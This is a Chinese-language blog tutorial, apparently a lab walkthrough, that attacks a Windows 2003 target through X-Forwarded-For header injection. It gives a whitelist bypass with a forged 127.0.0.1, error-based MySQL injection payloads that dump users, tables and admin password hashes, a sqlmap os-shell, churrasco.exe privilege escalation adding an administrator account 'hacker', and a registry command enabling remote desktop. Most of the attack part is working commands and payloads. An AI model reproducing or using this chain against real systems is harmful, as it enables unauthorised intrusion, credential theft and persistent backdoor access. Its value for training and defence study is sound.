• Web应用程序漏洞-X-Forwarded-For注入


    X-Forwarded-For
       在学习之前先了解这个是什么东西,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。


                                    Web应用程序漏洞-X-Forwarded-For注入

    实验环境IP分布如下:

    Kali Linux

    Windows2003

    第二步,切换至渗透机Kali Linux,在终端中输入dirbuster启动目录爆破程序

    第三步,设置参数:

    Target URL:设置目标靶机的HTTP地址;

    File with list of dirs/files:设置字典,将以字典中的内容,每行尝试访问;

    URL Fuzz:设置为URL遍历模式;

    URL to fuzz:设置为/{dir},代表用字典遍历网站根目录下的目录。

    第四步,点击“Start”,开始扫描

    第五步,一分钟后扫描结束,切换至Results标签页,可以看到/admin目录被扫描出来,推测该目录为管理员后台地址

     

    第六步,使用浏览器访问http://172.16.1.200(靶机IP)/admin,成功进入管理员后台

    第七步,尝试使用用户名admin,密码admin登录后台

    第八步,发现后台有白名单验证机制,没有在白名单内的IP地址无法登录。在Kali Linux终端中启动Burpsuite:

    burpsuite &

    第九步,进入Proxy标签,在Options中可以看到默认正在监听8080端口

    第十步,开启浏览器,在设置中配置代理

    第十一步,尝试拦截管理员登录发送的数据包

    第十二步,右键空白处,选择“Send to Repeater”,然后切换至“Repeater”选项卡

    第十三步,切换至Win2003的控制台,查看登录验证C:\AppServ\www\admin\controller\login.php源码

    在HTTP头部信息,X-Forwarded-For标识了客户端经过代理访问后,代理会将客户端的真实地址标记在X-Forwarded-For中,但这个地址是可以伪造的。

    第十四步,在WireShark的Repeater中,添加一行信息,然后点击“Send”:

    X-Forwarded-For: 127.0.0.1

    第十五步,此时我们得知,通过X-Forwarded-For确实可以绕过白名单限制。

    再次审计login.php

    可以看到,我们从X-Forwarded-For定义的内容,未经过筛选就执行了SQL语句用于查询该IP地址是否在白名单之内,且会回显SQL查询错误信息

    第十六步,在BurpSuite中将X-Forwarded-For的值改为一个单引号(’)尝试

    第十七步,尝试进行MySQL报错攻击:

    ‘ union select count(*) from information_schema.tables group by concat((select user()), 0x7e, floor(rand(0)*2))#

    成功利用错误信息提取出了当前数据库所登录的用户。

    第十八步,将select user()替换为select database() limit 1查询当前站点使用的数据库

    查询到当前网站使用的数据库名为php

    第十九步,查询该数据库下的表,将select后内容修改为:

    select table_name from information_schema.tables where table_schema=’php’ limit 1,1

    limit 1,1即限制只输出一条结果,输出第一条。

    第二十步,尝试将limit 1,1修改为2,1、3,1 ……,就可以逐个得到该数据库的表名

    直到limit 12,1,我们都能获得报错中的表名,可以得知该数据库的所有表,并且该数据库有12个数据表。

    第二十一步,猜测xiao_admin表中含有用户名和密码。使用语句导出该表中的列名。

    select column_name from information_schema.columns where table_name='xiao_admin' limit 1,1

    select column_name from information_schema.columns where table_name='xiao_admin' limit 2,1

    分别得出xiao_admin表中的用户名列名为username,密码列为password。

    第二十二步,取出用户名和密码。分别输入:

    select username from xiao_admin

    select password from xiao_admin

    在获取密码时,返回结果为32为的MD5加密值,并非明文密码。

    第二十三步,尝试获取系统Shell。将X-Forwarded-For改为:

    X-Forwarded-For: *

    第二十四步,右键选择“Copy to file”,保存到任意目录:(这里保存到了根目录下/xff.txt)

    第二十五步,打开终端,尝试获取系统Shell:

    sqlmap –l /xff.txt –os-shell

    前四个选项直接回车默认即可。

    第二十六步,在询问“writeable directory”时,我们需要指定www目录的所在位置。输入2,然后再输入C:/AppServ/www

    第二十七步,等待出现“os-shell>”即代表Shell反弹成功。输入dir查看当前目录下的列表:(如有提示,回车即可)

    第二十八步,重新审阅刚刚获取os-shell时的日志,发现sqlmap在网站根目录下放置了一个tmpunjoh.php文件(文件名为随机,请注意),可以用于手动上传文件

    第二十九步,访问该PHP文件,确认存在

    第三十步,在终端中输入“nautilus”,弹出文件管理器窗口,点击“Other Location”,连接Win2003靶机的FTP服务,下载提权工具:

    第三十一步,下载至桌面

    第三十二步,回到刚刚获得的上传页面,将churrasco.exe上传

    第三十三步,使用churrascoo创建一个用户“hacker”,密码为“123456”,并赋予管理员权限:

    churrasco.exe “net user hacker 123456 /add”

    churrasco.exe “net localgroup administrators hacker /add”

    第三十四步,开启远程桌面:

    churrasco.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal""" """Server /v fDenyTSConnections /t REG_DWORD /d 0 /f"

    第三十五步,在终端输入“rdesktop 172.16.1.200”连接远程桌面

    第三十六步,登录hacker/123456

    第三十七步,进入远程桌面

    提权成功。

  • 相关阅读:
    掌握MT4交易平台:解决你常见疑惑,提升操作技巧
    ubuntu终端代码上传github最简方法
    element table穿梭框+分页
    酷家乐基于 Crane EHPA 的弹性落地实践
    Visio免费版!Visio国产平替软件,终于被我找到啦!
    判断对象是否可以被回收:引用计数法,可达性分析,finalize()判定
    代码随想录算法训练营day35 | 0-1背包理论基础、416. 分割等和子集
    优雅而高效的JavaScript——防抖和节流
    通过memberlist库实现gossip管理集群以及集群数据交互
    leetcode 378. Kth Smallest Element in a Sorted Matrix(排好序的矩阵中第K小的元素)
  • 原文地址:https://blog.csdn.net/qq_50377269/article/details/125889282